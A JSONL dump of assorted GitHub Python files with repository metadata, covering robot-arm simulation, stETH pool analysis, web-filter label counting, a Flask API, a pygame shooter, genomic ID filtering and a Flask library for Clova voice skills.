[client.simxGetObjectHandle(\"P_Arm_joint1\",client.simxServiceCall())[1],client.simxGetObjectHandle(\"P_Arm_joint2\",client.simxServiceCall())[1],client.simxGetObjectHandle(\"P_Arm_joint3\",client.simxServiceCall())[1],client.simxGetObjectHandle(\"P_Arm_joint4\",client.simxServiceCall())[1],client.simxGetObjectHandle(\"P_Arm_joint5\",client.simxServiceCall())[1],client.simxGetObjectHandle(\"P_Arm_joint6\",client.simxServiceCall())[1],client.simxGetObjectHandle(\"P_Grip_straight_motor\",client.simxServiceCall())[1],client.simxGetObjectHandle(\"P_Arm\",client.simxServiceCall())[1]]\n #List of JointAngleCallback functions\n jointAngleCallback = [jointAngleCallback1,jointAngleCallback2,jointAngleCallback3,jointAngleCallback4,jointAngleCallback5,jointAngleCallback6]\n #Filling Dictionary Entries\n jointAngleDict[str(pArmJointHandleList[0])] = 0\n jointAngleDict[str(pArmJointHandleList[1])] = 0\n jointAngleDict[str(pArmJointHandleList[2])] = 0\n jointAngleDict[str(pArmJointHandleList[3])] = 0\n jointAngleDict[str(pArmJointHandleList[4])] = 0\n jointAngleDict[str(pArmJointHandleList[5])] = 0\n \n #CollisionHandleCollection\n fingerFingerCollisionHandle=client.simxGetCollisionHandle(\"FingerFingerCollision\",client.simxServiceCall())[1]\n fingerCuboidCollisionHandle=client.simxGetCollisionHandle(\"FingerCuboidCollision\",client.simxServiceCall())[1]\n fingerCuboidCollision2Handle=client.simxGetCollisionHandle(\"FingerCuboidCollision2\",client.simxServiceCall())[1]\n \n #Not really Sure What this Bit is For\n for i in range(len(pArmJointHandleList)-2):\n client.simxSetJointTargetVelocity(pArmJointHandleList[i],360*math.pi/180,client.simxServiceCall())\n client.simxGetJointPosition(pArmJointHandleList[i],client.simxDefaultSubscriber(jointAngleCallback[i]))\n client.simxSynchronous(True)\n \n# #ImageCollector \n dedicatedSub=client.simxCreateSubscriber(imageCallback,1,True)\n client.simxGetVisionSensorImage(visionSensorHandle[1],False,dedicatedSub)\n \n #Creates the Relevant Subscriber/Publisher Channels for Stepping\n client.simxGetSimulationStepStarted(client.simxDefaultSubscriber(simulationStepStarted));\n client.simxGetSimulationStepDone(client.simxDefaultSubscriber(simulationStepDone));\n client.simxStartSimulation(client.simxDefaultPublisher())\n\n #Sets Target Velocities to 0 to Lock Motors\n for i in range(len(pArmJointHandleList)-1):\n client.simxSetJointTargetVelocity(pArmJointHandleList[i],0,client.simxServiceCall())\n Angle_List = [0.3,-0.3,-0.3,0.3,0.3,1]\n \n #Executes PID Movement Method\n for i in range(len(Angle_List)):\n moveToAngle(pArmJointHandleList[i],Angle_List[i])\n #Executes Gripper Motor Movement\n moveGripperMotor(1,1)\n \n #Ends Simulation\n client.simxStopSimulation(client.simxDefaultPublisher())\n\n ","repo_name":"QITAOHOU/DDPG-P_Arm-CoppeliaSim","sub_path":"CoppeliaSim/Python Programs/Try Again.py","file_name":"Try Again.py","file_ext":"py","file_size_in_byte":8962,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"11469131676","text":"\"\"\"\nHelper Functions for LIDO stETH-ETH analysis\nGoal: An analysis of the most traded intervals of stETH/ETH pair by volume and by time\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport curve_pool\n\ndef sort_utc_session(hour):\n '''\n Group hours into time sessions US, Asia, and Europe\n 12-20 UTC is US\n 20-4 UTC is Asia\n 4-12 UTC is Europ\n\n Parameters\n ----------\n hour : int\n\n Returns\n -------\n str\n '''\n if hour in [12,13,14,15,16,17,18,19]:\n return 'US'\n elif hour in [20,21,22,23,0,1,2,3]:\n return 'Asia'\n else:\n return 'Europe'\n\n\ndef plot_bar_with_annotation(groupby_data,title,ylabel,xlabel,figsize = (6, 5)):\n '''\n Generate bar plot from groupby data\n Mainly used to examine volume ranges\n\n Parameters\n ----------\n groupby_data : groupby\n title : str\n ylabel : str\n xlabel : str\n figsize : tuple (x,y)\n The default is (6, 5).\n Returns\n -------\n '''\n groupby_data_percent = (groupby_data / groupby_data.sum())*100\n ax = groupby_data.plot(kind='bar', title=title, ylabel=ylabel,xlabel=xlabel, figsize=figsize)\n for i,p in enumerate(ax.patches):\n width = p.get_width()\n height = p.get_height()\n x, y = p.get_xy() \n percentage_mark = groupby_data_percent.iloc[i].round(3)\n if percentage_mark == 0:\n continue\n if percentage_mark>.05:\n ax.annotate(str(percentage_mark)+'%', (x + width/2, y + height*1.02), ha='center')\n elif percentage_mark<.02:\n ax.annotate(str(percentage_mark)+'%', (x + width/2, y + height*5), ha='center')\n else:\n ax.annotate(str(percentage_mark)+'%', (x + width/2, y + height*3), ha='center')\n plt.show()\n plt.close()\n \ndef get_dx_dy_pool(pool,dx_list,col_names = ['ETH','stETH']):\n '''\n Given a curve pool with certain parameters, what is each traded price at initiation?\n\n Parameters\n ----------\n pool : Curve pool object\n dx_list : list\n list of potential trade sizes\n col_names : list, optional\n The default is ['ETH','stETH'].\n\n Returns\n -------\n traded_curve : DataFrame\n Has prices at each traded amount\n '''\n dy_list = []\n for dx in dx_list: \n dy = pool.dy(0,1,dx)\n dy_list.append(dy)\n traded_curve = pd.DataFrame([dx_list,dy_list]).T\n traded_curve.columns=col_names\n traded_curve['price'] = traded_curve[col_names[0]]/traded_curve[col_names[1]]\n return traded_curve\n\n","repo_name":"bobekryant/ETH_stETH","sub_path":"lido_steth_eth.py","file_name":"lido_steth_eth.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74122004082","text":"#!/usr/bin/env python3\n\n\nimport csv\n\n \n\"\"\"\n-----------------------------------------------------------------------\nReports the distribution of labels for the panels as contained in each\nCSV.\n-----------------------------------------------------------------------\n\"\"\"\n\n\n\n\ndef show_distribution(filename):\n fd = open(filename, \"r\") \n reader = csv.reader(fd, delimiter=',')\n labelcount = dict()\n for line in reader:\n if line[1] in labelcount:\n labelcount[line[1]] += 1\n else:\n labelcount[line[1]] = 1\n \n sortedcount = [(labelcount[key], key) for key in labelcount]\n sortedcount.sort()\n sortedcount.reverse()\n \n for s in sortedcount: print(str(s))\n \n fd.close()\n\n\n\"\"\"\n---------------------------------------------------------------------------\nMain\n---------------------------------------------------------------------------\n\"\"\"\ndef main():\n\n print(\"[*] SYMANTEC\\n\")\n show_distribution(\"symantec_panels.csv\")\n print(\"\\n[*] MCAFEE\\n\")\n show_distribution(\"mcafee_panels.csv\")\n print(\"\\n[*] FORTIGUARD\\n\")\n show_distribution(\"fortiguard_panels.csv\")\n print(\"\\n[*] OPENDNS\\n\")\n show_distribution(\"opendns_panels.csv\")\n\n\n\nif __name__ == \"__main__\":\n main()\n\n \n\n","repo_name":"davidnevadoc/fake_SE","sub_path":"domain_data/label_distribution.py","file_name":"label_distribution.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"10536686145","text":"from api.recursos import irrigador, planta, documentacao\n\n\ndef inicia_app(api):\n \"\"\"Inicia as rotas da api\n\n Argumento:\n api (classe): Classe Api(Flask(__name__))\n \"\"\"\n api.add_resource(planta.Planta, '/plantas', '/plantas/')\n api.add_resource(irrigador.Irrigador, '/irrigadores', '/irrigadores/')\n api.add_resource(documentacao.Documentacao, '/')\n\n","repo_name":"lucas1528/backend","sub_path":"api/rotas/rotas.py","file_name":"rotas.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39732735718","text":"from ipywidgets import interact\nfrom PIL import Image\nimport numpy as np\nimport scipy.ndimage as snd\nimport scipy.signal as sig\n\ndef std_threshold(video, thresholds = (0.0, 4.0, 0.1)):\n \"\"\"\n Widget function for the standard deviation -based pixel threshold.\n \"\"\"\n vid_std = video.std(axis = 0)\n frame = video[0]\n threshold = vid_std.mean()\n def _show(t = 1.0):\n f = frame.copy()\n f[~(vid_std > threshold * t)] = 0\n return Image.fromarray(f)\n return interact(_show, t = thresholds)\n\ndef std_filter_threshold(video,\n multipliers = (0.0, 4.0, 0.1),\n filtersize = (1, 15, 2)):\n \"\"\"\n Adds a drop-down for picking how the threshold is set.\n \"\"\"\n vid_std = video.std(axis = 0)\n frame = video[0]\n def _show(filter, multiplier = 1.0, filtersize = 3):\n f = frame.copy()\n if filter == \"mean\":\n ff = snd.gaussian_filter(vid_std, sigma = filtersize)\n else:\n ff = sig.medfilt2d(vid_std, kernel_size = filtersize)\n threshold = ff.mean()\n f[~(ff > threshold * multiplier)] = 0\n return Image.fromarray(f)\n return interact(_show, filter = [\"mean\", \"median\"], multiplier = multipliers, filtersize = filtersize)\n","repo_name":"quinngroup/JupyterDay2018-Cilia-Segmentation","sub_path":"spq/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"17451290946","text":"from h2o_nitro import View, box, row, col, option, lorem\n\n\n# # Separator\n\n# ## Basic\n# Call `box()` with `mode='separator'` to show a separator.\ndef separator_basic(view: View):\n view(box('Donuts', mode='separator'))\n\n\n# ## Set text alignment\n# A separator's label is centered by default.\n# Set `align=` to left- or right-align the label.\ndef separator_align(view: View):\n view(\n box('Left-aligned', mode='separator', align='left'),\n box(lorem(3)),\n box('Center-aligned', mode='separator'),\n box(lorem(3)),\n box('Right-aligned', mode='separator', align='right'),\n box(lorem(3)),\n )\n","repo_name":"michaeljyt/nitro","sub_path":"py/docs/separator.py","file_name":"separator.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"35735263908","text":"from model import *\nimport gym\nimport torch\nfrom itertools import count\n\nif __name__ == '__main__':\n #Parameters\n env = gym.make('CartPole-v0')\n env = env.unwrapped\n\n state_space = env.observation_space.shape[0]\n action_space = env.action_space.n\n\n model = Policy(state_space, action_space)\n model.load_state_dict(torch.load(\"AC_CartPole_Model/ModelTraing500Times.pt\"))\n model.eval()\n\n state = env.reset()\n for t in count():\n state = torch.from_numpy(state).float()\n probs, state_value = model(state)\n action = torch.argmax(probs)\n \n state, reward, done, info, _ = env.step(action.cpu().squeeze(0).numpy())\n env.render()\n\n if done or t >= 1000:\n break\n \n print(\"t: \", t)\n","repo_name":"jedi007/TestPyTorch","sub_path":"RL/Actor-Critic/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"26863587495","text":"#!/usr/bin/env python3\n####################################################################################################\n#\n# Author: Sabrina Krakau\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n####################################################################################################\n\nimport sys\nimport gzip\nimport csv\nimport xml.etree.ElementTree as ET\nimport tqdm\nimport io\nimport argparse\nimport re\n\nfrom Bio import Entrez, SeqIO\nfrom pprint import pprint\nfrom datetime import datetime\nfrom EntrezDownloader import EntrezDownloader\nfrom collections import Counter\n\nimport sys\n\nfile_seqId_taxId = sys.argv[1]\nfile_ids = sys.argv[2]\nprint(\"\\nProcessing file: \", file_ids, flush=True)\n\n\nwith gzip.open(file_seqId_taxId, \"rt\") as infile1:\n dict_seqId_taxId = { str(row[0]):str(row[1]) for row in csv.reader(infile1, delimiter = \"\\t\") if row[0][:2] in [\"NC\", \"NG\", \"NT\", \"NW\", \"NZ\"] } \n\nwith gzip.open(file_ids, \"rt\") as infile2:\n results = [ row for row in csv.reader(infile2, delimiter = \"\\t\") ]\n\n\n# test if entry is NCBI master record: NX_XXXX00000000.1 (representing a WGS project)\ndef is_master(seqId):\n return bool(re.search('[A-Z]{4}0+(\\.\\d){0,}$', seqId))\n \n\nprint(\"Read in \", len(results), \" rows.\", flush=True)\nprint(\"\\nSet up dictionaries ...\", flush=True)\n# store taxId - assemblies dict\ndict_taxId_assemblyIds = {}\ndict_assemblyId_seqIds = {}\ndict_seqId_seqLength = {}\nfor seqId, seqLength, taxId, assemblyId in results:\n # if not master record\n if not is_master(seqId):\n # sanity check\n if taxId != dict_seqId_taxId[seqId]:\n print(\"Warning: sequence \", seqId, \" had tax. ID \", dict_seqId_taxId[seqId], \" assigned in RefSeq release catalogue, but got tax. ID \", taxId, \" assigned in Entrez\", flush=True)\n #assert taxId == dict_seqId_taxId[seqId],\"taxonomy ID {taxId} wrong!\"\n\n # update dict_taxId_assemblyIds\n if assemblyId == 'None': # read in as str\n assemblyId = \"dummy_assembly_accession_taxid\" + str(taxId)\n if taxId not in dict_taxId_assemblyIds:\n dict_taxId_assemblyIds[taxId] = [assemblyId]\n else:\n if assemblyId not in dict_taxId_assemblyIds[taxId]:\n dict_taxId_assemblyIds[taxId].append(assemblyId)\n\n # update dict_assemblyId_seqIds\n if assemblyId not in dict_assemblyId_seqIds:\n dict_assemblyId_seqIds[assemblyId] = [seqId]\n else:\n if seqId not in dict_assemblyId_seqIds[assemblyId]:\n dict_assemblyId_seqIds[assemblyId].append(seqId) \n\n # update dict_seqId_seqLength\n dict_seqId_seqLength[seqId] = int(seqLength)\n\n######################################################\n# 2) get assembly lengths and keep only 3 largest ones\n######################################################\nprint(\"Compute assembly lengths and select top 3 assemblies for each taxa...\", flush=True)\n\n\n# compute assembly lengths from sequence lengths\ndict_assemblyId_assemblyLength = {}\nfor assemblyId in dict_assemblyId_seqIds.keys():\n length = 0\n if assemblyId[:5] != \"dummy\":\n for seqId in dict_assemblyId_seqIds[assemblyId]:\n length += dict_seqId_seqLength[seqId]\n\n dict_assemblyId_assemblyLength[assemblyId] = length\n\n\n# for each taxId select top 3 assemblies\n# (sequences assigned to no assembly will only be used, if less than 3 assemblies exist for taxId)\nselected_seqIds = []\nfor taxId in dict_taxId_assemblyIds.keys():\n # get subset of taxId specific assemblyIds - assemblyLength\n current_assemblyId_lengths = {i: dict_assemblyId_assemblyLength.get(i, None) for i in dict_taxId_assemblyIds[taxId]}\n k = Counter(current_assemblyId_lengths)\n top3 = k.most_common(3) \n for i in top3:\n selected_seqIds += dict_assemblyId_seqIds[i[0]]\n\n#print([k for (k,v) in Counter(selected_seqIds).items() if v > 1])\n\n# TODO check if length is same as reported on ncbi!!! (when using whole catalogue)\nprint(\"Check if assembly lengths are the same as reported on ncbi:\", flush=True)\ncount = 0\nfor assemblyId in dict_assemblyId_assemblyLength.keys():\n print(\" \", assemblyId, \" :\", dict_assemblyId_assemblyLength[assemblyId], \" \", flush=True)\n count += 1\n if count == 10:\n break\n\n\n########################################################################\n# 3) write out filtered sequence accessions in case something goes wrong\n########################################################################\n\nprint(\"For top3 assemblies keep \", len(selected_seqIds), \" sequences.\", flush=True)\n\nid_file = open(\"selectd_seqIds.txt\",'w')\nfor seqId in selected_seqIds:\n print(f\"{seqId}\", file = id_file, flush=True)\n\nid_file.close()\n","repo_name":"skrakau/handle_RefSeq_data","sub_path":"filter_ids.top3.py","file_name":"filter_ids.top3.py","file_ext":"py","file_size_in_byte":5610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41857787290","text":"import random\nfrom os import path\nimport pygame\n\nfrom Env import *\nfrom explosion import *\nfrom meteor import *\nfrom player import *\nfrom begin_state import *\n\n\nfont_name = pygame.font.match_font('arial')\npygame.init()\npygame.mixer.init()\npygame.mixer.music.load(path.join(sound_dir, \"bgm.mp3\"))\npygame.mixer.music.play(-1)\n\n\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, posx, posy):\n pygame.sprite.Sprite.__init__(self)\n\n self.image = pygame.image.load(path.join(img_dir, \"laser_red.png\"))\n self.rect = self.image.get_rect()\n self.rect.centerx = posx\n self.rect.centery = posy\n self.speedy = 30\n\n def update(self):\n self.rect.y -= self.speedy\n if self.rect.bottom < 0:\n self.kill()\n\ndef newMeteor():\n global all_sprites\n m = Meteor(meteors,all_sprites)\n meteors.add(m)\n all_sprites.add(m)\n\n\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\nbg = pygame.image.load(path.join(img_dir,'background.png'))\nbg_rect = bg.get_rect()\nclock = pygame.time.Clock()\n\nmeteors = pygame.sprite.Group()\nall_sprites = pygame.sprite.Group()\nbullets = pygame.sprite.Group()\nsupports = pygame.sprite.Group()\n\nlast_shot = pygame.time.get_ticks()\npowertime = 0\nnow = 0\npower = 1\nscore = 0\nplayer = Player(WIDTH / 2, HEIGHT - 50)\n\nfor i in range(8):\n newMeteor()\n\nall_sprites.add(bullets)\nall_sprites.add(player)\nall_sprites.add(meteors)\n\nrunning = True\nsound_pew = pygame.mixer.Sound(path.join(sound_dir, \"pew.wav\"))\n\n\ndef check_meteor_hit_player():\n global running, meteors, gamestate\n hits = pygame.sprite.spritecollide(player, meteors, False, pygame.sprite.collide_circle_ratio(0.7))\n if hits:\n for hit in hits:\n player.shield -= hit.speedy*3\n hit.kill()\n if player.shield <= 0:\n player.lifes -= 1\n if player.lifes < 0:\n gamestate = 'begin'\n else:\n player.shield = 100\n # print(\"check_meteor_hit_player\")\n newMeteor()\n\ndef check_support_hit_player():\n global power\n hits = pygame.sprite.spritecollide(player, supports, True, pygame.sprite.collide_circle_ratio(0.7))\n if hits:\n for hit in hits:\n if hit.thing == 'bolt':\n power += 1\n powertime = pygame.time.get_ticks()\n elif hit.thing == 'pill':\n player.shield += 20\n if player.shield >=100:\n player.shield = 100\n #elif hit.thing = 'shield':\n \n hit.kill()\n\n\nclass Support(pygame.sprite.Sprite):\n def __init__(self, x, y, speedy):\n pygame.sprite.Sprite.__init__(self)\n \n self.thing = random.choice(['bolt','pill','shield'])\n self.number = random.randint(1,3)\n \n self.image = pygame.image.load(path.join(img_dir,\"powerUp/{0}_0{1}.png\".format(self.thing, self.number)))\n self.rect = self.image.get_rect()\n self.rect.centerx = x\n self.rect.centery = y\n self.speedy = speedy\n \n def update(self):\n self.rect.centery = self.rect.centery + self.speedy\n if self.rect.centery > HEIGHT:\n self.kill()\n\n\ndef check_bullets_hit_meteor():\n global score\n hits = pygame.sprite.groupcollide(meteors, bullets, True, True, pygame.sprite.collide_circle_ratio(0.7))\n if hits:\n for hit in hits:\n score += (8 - hit.size)*hit.speedy/10\n hit.kill()\n # print(\"check_bullets_hit_meteor\")\n newMeteor()\n explosion = Explosion(hit.rect.centerx,hit.rect.centery)\n all_sprites.add(explosion)\n if random.randint(0,1):\n support = Support(hit.rect.centerx, hit.rect.centerx, hit.speedy)\n supports.add(support)\n all_sprites.add(support)\n # TODO 06.擊破隕石會掉出武器或是能量包 武器可以改變攻擊模式 能量包可以回血\n\ndef draw_score():\n font = pygame.font.Font(font_name, 14)\n text_surface = font.render(str(score), True, YELLOW)\n text_rect = text_surface.get_rect()\n text_rect.midtop = (WIDTH/2, 20)\n screen.blit(text_surface, text_rect)\n pass\n\ndef shoot():\n sound_pew.play()\n if power > 1:\n bullet1 = Bullet(player.rect.left, player.rect.centery)\n bullets.add(bullet1)\n all_sprites.add(bullet1)\n bullet2 = Bullet(player.rect.right, player.rect.centery)\n bullets.add(bullet2)\n all_sprites.add(bullet2)\n else:\n bullet = Bullet(player.rect.centerx, player.rect.centery)\n bullets.add(bullet)\n all_sprites.add(bullet)\n\ndef draw_shield():\n shield_bar = pygame.rect.Rect(10,10,player.shield,20)\n outline_rect = pygame.rect.Rect(10,10,100,20)\n pygame.draw.rect(screen,GREEN,shield_bar)\n pygame.draw.rect(screen,(255,255,255),outline_rect,2)\n\ndef draw_lifes(surf, x, y, player):\n img = pygame.transform.scale(player.image, (30,20))\n img_rect = img.get_rect()\n for i in range(player.lifes):\n img_rect.x = x + 30 * i\n img_rect.y = y\n surf.blit(img,img_rect)\n\nbegin_state = Begin_state(screen)\ngamestate = 'begin'\n\nwhile running:\n clock.tick(FPS)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n \n if gamestate == 'begin':\n begin_state.keyhandle()\n begin_state.show()\n gamestate = begin_state.updateState()\n if gamestate == 'start':\n begin_state.reset()\n player.reset()\n \n elif gamestate == 'start':\n \n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_SPACE]:\n now = pygame.time.get_ticks()\n if power >= 2 and (now - powertime >= 5000):\n power -= 1\n powertime = pygame.time.get_ticks()\n if now - last_shot > SHOT_DELAY:\n last_shot = now\n shoot()\n \n check_meteor_hit_player()\n check_support_hit_player()\n \n check_bullets_hit_meteor()\n\n all_sprites.update()\n \n screen.blit(bg,bg_rect)\n draw_shield()\n draw_lifes(screen, WIDTH - 100, 10, player)\n draw_score()\n all_sprites.draw(screen)\n # flip to display\n\n pygame.display.flip()\n\npygame.quit()","repo_name":"012CYSH510482/Lesson2-remade","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3564512802","text":"# O módulo time possui a função time.sleep(x), que faz seu programa “dormir” por x segundos. \n# Utilizando essa função, crie uma classe Cronômetro e faça um programa que cronometre o tempo.\n\nimport time \nhoras = 0\nminu = 0\nseg = 0\nclass Cronometro:\n while True:\n time.sleep(1)\n seg += 1\n if seg == 60:\n seg = 0\n minu += 1\n if minu == 60:\n minu = 0\n horas += 1\n\n if horas < 10:\n if minu < 10:\n if seg < 10:\n print(f'0{horas}:0{minu}:0{seg}')\n else:\n print(f'0{horas}:0{minu}:{seg}')\n else:\n if seg < 10:\n print(f'0{horas}:{minu}:0{seg}')\n else:\n print(f'0{horas}:{minu}:{seg}')\n else:\n if minu < 10:\n if seg < 10:\n print(f'{horas}:0{minu}:0{seg}')\n else:\n print(f'{horas}:0{minu}:{seg}')\n else:\n if seg < 10:\n print(f'{horas}:{minu}:0{seg}')\n else:\n print(f'{horas}:{minu}:{seg}')\n\nCronometro()","repo_name":"bielabades/Bootcamp-dados-Itau","sub_path":"Listas/Classes e Objetos/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2324223739","text":"import os\nimport yaml\nimport inspect\nfrom functools import partial\n\nfrom werkzeug.local import LocalProxy\nfrom jinja2 import BaseLoader, ChoiceLoader, TemplateNotFound\nfrom flask import make_response, current_app, json, request as flask_request, _app_ctx_stack\n\nfrom . import verifier, logger\nimport collections\n\n\ndef find_clova():\n \"\"\"\n Find our instance of Clova, navigating Local's and possible blueprints.\n\n Note: This only supports returning a reference to the first instance\n of Clova found.\n \"\"\"\n if hasattr(current_app, 'clova'):\n return getattr(current_app, 'clova')\n else:\n if hasattr(current_app, 'blueprints'):\n blueprints = getattr(current_app, 'blueprints')\n for blueprint_name in blueprints:\n if hasattr(blueprints[blueprint_name], 'clova'):\n return getattr(blueprints[blueprint_name], 'clova')\n\n\ndef dbgdump(obj, default=None, cls=None):\n if current_app.config.get('CLOVA_PRETTY_DEBUG_LOGS', False):\n indent = 2\n else:\n indent = None\n msg = json.dumps(obj, indent=indent, default=default, cls=cls)\n logger.debug(msg)\n\n#Define global variables\nrequest = LocalProxy(lambda: find_clova().request)\nsession = LocalProxy(lambda: find_clova().session)\nversion = LocalProxy(lambda: find_clova().version)\ncontext = LocalProxy(lambda: find_clova().context)\nconvert_errors = LocalProxy(lambda: find_clova().convert_errors)\n\nfrom . import models\n\n\nclass Clova(object):\n \"\"\"The Clova object provides the central interface for interacting with the Clova Extension Service.\n\n Clova object maps CEK Requests to flask view functions and handles CEK sessions.\n The constructor is passed a Flask App instance, and URL endpoint.\n The Flask instance allows the convienient API of endpoints and their view functions,\n so that CEK requests may be mapped with syntax similar to a typical Flask server.\n Route provides the entry point for the skill, and must be provided if an app is given.\n\n Keyword Arguments:\n app {Flask object} -- App instance - created with Flask(__name__) (default: {None})\n route {str} -- entry point to which initial CEK Requests are forwarded (default: {None})\n blueprint {Flask blueprint} -- Flask Blueprint instance to use instead of Flask App (default: {None})\n stream_cache {Werkzeug BasicCache} -- BasicCache-like object for storing Audio stream data (default: {SimpleCache})\n path {str} -- path to templates yaml file for VUI dialog (default: {'templates.yaml'})\n \"\"\"\n\n def __init__(self, app=None, route=None, blueprint=None, path='templates.yaml'):\n self.app = app\n self._route = route\n self._intent_view_funcs = {}\n self._intent_converts = {}\n self._intent_defaults = {}\n self._intent_mappings = {}\n self._launch_view_func = None\n self._session_ended_view_func = None\n self._on_session_started_callback = None\n self._default_intent_view_func = None\n\n if app is not None:\n self.init_app(app, path)\n elif blueprint is not None:\n self.init_blueprint(blueprint, path)\n\n def init_app(self, app, path='templates.yaml'):\n \"\"\"Initializes Clova app by setting configuration variables, loading templates, and maps Clova route to a flask view.\n\n The Clova instance is given the following configuration variables by calling on Flask's configuration:\n\n `CLOVA_APPLICATION_ID`:\n\n Turn on application ID verification by setting this variable to an application ID or a\n list of allowed application IDs. By default, application ID verification is disabled and a\n warning is logged. This variable should be set in production to ensure\n requests are being sent by the applications you specify.\n Default: None\n\n `CLOVA_VERIFY_REQUESTS`:\n\n Enables or disables CEK request verification, which ensures requests sent to your skill\n are from Naver's CEK service. This setting should not be disabled in production.\n It is useful for mocking JSON requests in automated tests.\n Default: True\n\n `CLOVA_PRETTY_DEBUG_LOGS`:\n\n Add tabs and linebreaks to the CEK request and response printed to the debug log.\n This improves readability when printing to the console, but breaks formatting when logging to CloudWatch.\n Default: False\n \"\"\"\n if self._route is None:\n raise TypeError(\"route is a required argument when app is not None\")\n\n app.clova = self\n\n app.add_url_rule(self._route, view_func=self._flask_view_func, methods=['POST'])\n app.jinja_loader = ChoiceLoader([app.jinja_loader, YamlLoader(app, path)])\n\n def init_blueprint(self, blueprint, path='templates.yaml'):\n \"\"\"Initialize a Flask Blueprint, similar to init_app, but without the access\n to the application config.\n\n Keyword Arguments:\n blueprint {Flask Blueprint} -- Flask Blueprint instance to initialize (Default: {None})\n path {str} -- path to templates yaml file, relative to Blueprint (Default: {'templates.yaml'})\n \"\"\"\n if self._route is not None:\n raise TypeError(\"route cannot be set when using blueprints!\")\n\n # we need to tuck our reference to this Clova instance into the blueprint object and find it later!\n blueprint.clova = self\n\n # BlueprintSetupState.add_url_rule gets called underneath the covers and\n # concats the rule string, so we should set to an empty string to allow\n # Blueprint('blueprint_api', __name__, url_prefix=\"/clova\") to result in\n # exposing the rule at \"/clova\" and not \"/clova/\".\n blueprint.add_url_rule(\"\", view_func=self._flask_view_func, methods=['POST'])\n blueprint.jinja_loader = ChoiceLoader([YamlLoader(blueprint, path)])\n\n @property\n def clova_application_id(self):\n return current_app.config.get('CLOVA_APPLICATION_ID', None)\n\n @property\n def clova_verify_requests(self):\n return current_app.config.get('CLOVA_VERIFY_REQUESTS', True)\n\n def on_session_started(self, f):\n \"\"\"Decorator to call wrapped function upon starting a session.\n\n @clova.on_session_started\n def new_session():\n log.info('new session started')\n\n Because both launch and intent requests may begin a session, this decorator is used call\n a function regardless of how the session began.\n\n Arguments:\n f {function} -- function to be called when session is started.\n \"\"\"\n self._on_session_started_callback = f\n\n return f\n\n def launch(self, f):\n \"\"\"Decorator maps a view function as the endpoint for an CEK LaunchRequest and starts the skill.\n\n @clova.launch\n def launched():\n return question('Welcome to Foo')\n\n The wrapped function is registered as the launch view function and renders the response\n for requests to the Launch URL.\n A request to the launch URL is verified with the CEK server before the payload is\n passed to the view function.\n\n Arguments:\n f {function} -- Launch view function\n \"\"\"\n self._launch_view_func = f\n\n return f\n\n def session_ended(self, f):\n \"\"\"Decorator routes CEK SessionEndedRequest to the wrapped view function to end the skill.\n\n @clova.session_ended\n def session_ended():\n return \"{}\", 200\n\n The wrapped function is registered as the session_ended view function\n and renders the response for requests to the end of the session.\n\n Arguments:\n f {function} -- session_ended view function\n \"\"\"\n self._session_ended_view_func = f\n\n return f\n\n def intent(self, intent_name, mapping=None, convert=None, default=None):\n \"\"\"Decorator routes an CEK IntentRequest and provides the slot parameters to the wrapped function.\n\n Functions decorated as an intent are registered as the view function for the Intent's URL,\n and provide the backend responses to give your Skill its functionality.\n\n @clova.intent('WeatherIntent', mapping={'city': 'City'})\n def weather(city):\n return statement('I predict great weather for {}'.format(city))\n\n Arguments:\n intent_name {str} -- Name of the intent request to be mapped to the decorated function\n\n Keyword Arguments:\n mapping {dict} -- Maps parameters to intent slots of a different name\n default: {}\n\n convert {dict} -- Converts slot values to data types before assignment to parameters\n default: {}\n\n default {dict} -- Provides default values for Intent slots if CEK reuqest\n returns no corresponding slot, or a slot with an empty value\n default: {}\n \"\"\"\n if mapping is None:\n mapping = dict()\n if convert is None:\n convert = dict()\n if default is None:\n default = dict()\n\n def decorator(f):\n self._intent_view_funcs[intent_name] = f\n self._intent_mappings[intent_name] = mapping\n self._intent_converts[intent_name] = convert\n self._intent_defaults[intent_name] = default\n\n return f\n return decorator\n\n def default_intent(self, f):\n \"\"\"Decorator routes any CEK IntentRequest that is not matched by any existing @clova.intent routing.\"\"\"\n self._default_intent_view_func = f\n\n return f\n\n @property\n def request(self):\n return getattr(_app_ctx_stack.top, '_clova_request', None)\n\n @request.setter\n def request(self, value):\n _app_ctx_stack.top._clova_request = value\n\n @property\n def session(self):\n return getattr(_app_ctx_stack.top, '_clova_session', models._Field())\n\n @session.setter\n def session(self, value):\n _app_ctx_stack.top._clova_session = 